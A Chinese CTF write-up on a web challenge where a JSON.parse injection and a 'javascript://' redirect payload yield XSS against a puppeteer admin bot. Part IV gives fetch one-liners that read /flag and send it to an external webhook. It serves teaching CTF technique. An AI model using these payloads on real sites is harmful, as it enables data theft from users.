Background

内容目录

Part Ⅰ - 通读文件结构 && 简单分析代码Part Ⅱ - How to Xss (1) -- 满足条件Part Ⅲ - How to Xss (2) -- 跳转那点事Part Ⅳ - 收尾的js代码问题Part Ⅴ - 写在最后

Part Ⅰ - 通读文件结构 && 简单分析代码

bot源码如下：

 1const cookies = [{
 2    name: 'jsession',
 3    value: 'DELETE',
 4    domain: "127.0.0.1",
 5    httpOnly:true
 6}];
 7
 8const bot = async function (url){
 9    const URL = parse(url, true)
10    try{
11        const browser = await puppeteer.launch({
12            headless: true,
13            args: [
14                '--no-sandbox',
15                '--disable-setuid-sandbox',
16                '--disable-dev-shm-usage'
17            ],
18            dumpio: true,
19        });
20        page = await browser.newPage('http://127.0.0.1:80');
21        await page.setCookie(...cookies);
22
23        console.log(URL.href)
24        await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);
25        setTimeout(() => {
26            browser.close();
27        }, 4000);
28    } catch (err) {
29        console.log(`err : ${err}`);
30    }
31}

Part Ⅱ - How to Xss (1) -- 满足条件

 1router.get('/', (req, res) => {
 2    const blog = req.query.blog || 'https://xxxx.com';
 3    const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
 4    const url = parse(user['setblog'], true)
 5    , hostname = url.hostname;
 6
 7    if (hostname === 'xxx.com' && user['username'] === 'hello') {
 8        console.log(1)
 9        res.render('index', {url:url});
10    } else {
11        res.render('index', {url:'#'});
12    }
13});

1学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`，但是具体咋做不太懂。"
2我: "我知道你急，但你先别急，你先看上面哪些函数是你见过的，你也打一个多月CTF了。"
3学弟: "JSON.parse！可以原型链污染！"
4我: "啊...?"

Part Ⅲ - How to Xss (2) -- 跳转那点事

1学弟: "我搜了下 `javascript:alert(1)` 我刚把他忘了，javascript也是协议啊！javascript://alert(1)这样是可以的，如果有host我又蒙了...
2我: "建议你去搜索一下bug bounty，这道题目的设计就是基于某个redirect xss的。"

javascript://xxx.com/%250Aalert(1)","username":"hello

到这里我们可以来梳理下思路，题目主要考查的是open redirect xss通过JSON.parse解析中的闭合修改username，关键在于能否敏锐捕捉到javascript协议。

其中他经历的挫折很大程度上是以下几点：1. 懒，没多本地调试更没有多思考；2. 没有充分利用搜索引擎，如果他了解一些比较大的payload网站比如hacktricks他会很轻松寻找到答案。

Part Ⅳ - 收尾的js代码问题

1fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t))

1fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});

Part Ⅴ - 写在最后

关于我们